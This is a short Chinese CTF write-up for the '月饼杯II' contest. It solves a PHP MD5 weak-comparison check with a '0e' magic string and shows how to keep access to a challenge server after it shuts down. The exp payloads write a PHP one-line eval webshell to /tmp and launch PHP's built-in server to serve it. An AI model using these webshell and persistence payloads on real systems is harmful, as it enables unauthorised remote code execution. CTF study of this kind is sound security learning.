月饼杯II
web签到
<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {echo "小伙子不错嘛!!flag给你了:" . $flag;} else {echo "偶吼,带黑阔被窝抓到了!!!!";}
}
这题和月饼杯1的第二题有点像,那个是md2,这个是md5,思想都是一样的利用php弱比较的特性,突然想起QNKCDZO这个md5之后是0e开头的,但是这里不行!之后还是老是的用脚本爆破吧0e215962017这个就可以!
eztp
thinkphp不会拖着!
不要离开我
<?php
// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['action'];
switch($a){case 'cmd':eval($_POST['cmd']);break;case 'check':file_get_contents("http://checker/api/check");break;default:die('params not validate');
}params not validate
试了会,发现直接提交check会关闭服务器!说是由于是www-data权限无法重新启动,但是可以利用php的内置web服务器!
使用-t参数指定目录提供服务!那么思路就是在/tmp这个目录下写入一句话木马,再启动这个内置web服务器,当然事先得先访问check,但是这里就有个点了,那么就是在check之后再启动内置web服务器,但是check之后会关闭主web服务器。我的想发是条件竞争,但是我并没有尝试,几乎渺茫,至于为啥留个思考的空间!
wp就使用了system("sleep 10 && php -S 0.0.0.0:80 -t /tmp");这个命令,然后在10秒内访问check使启动拥有flag,但是这其中应该也有猫腻,猜测是极少数的情况。所以这道题在我看了出的不是那么的好,但是也有学的知识!
exp
写马:cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>");
启动:cmd=system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/");
10秒内访问check,然后再就可以getshell了!
mvp结算画面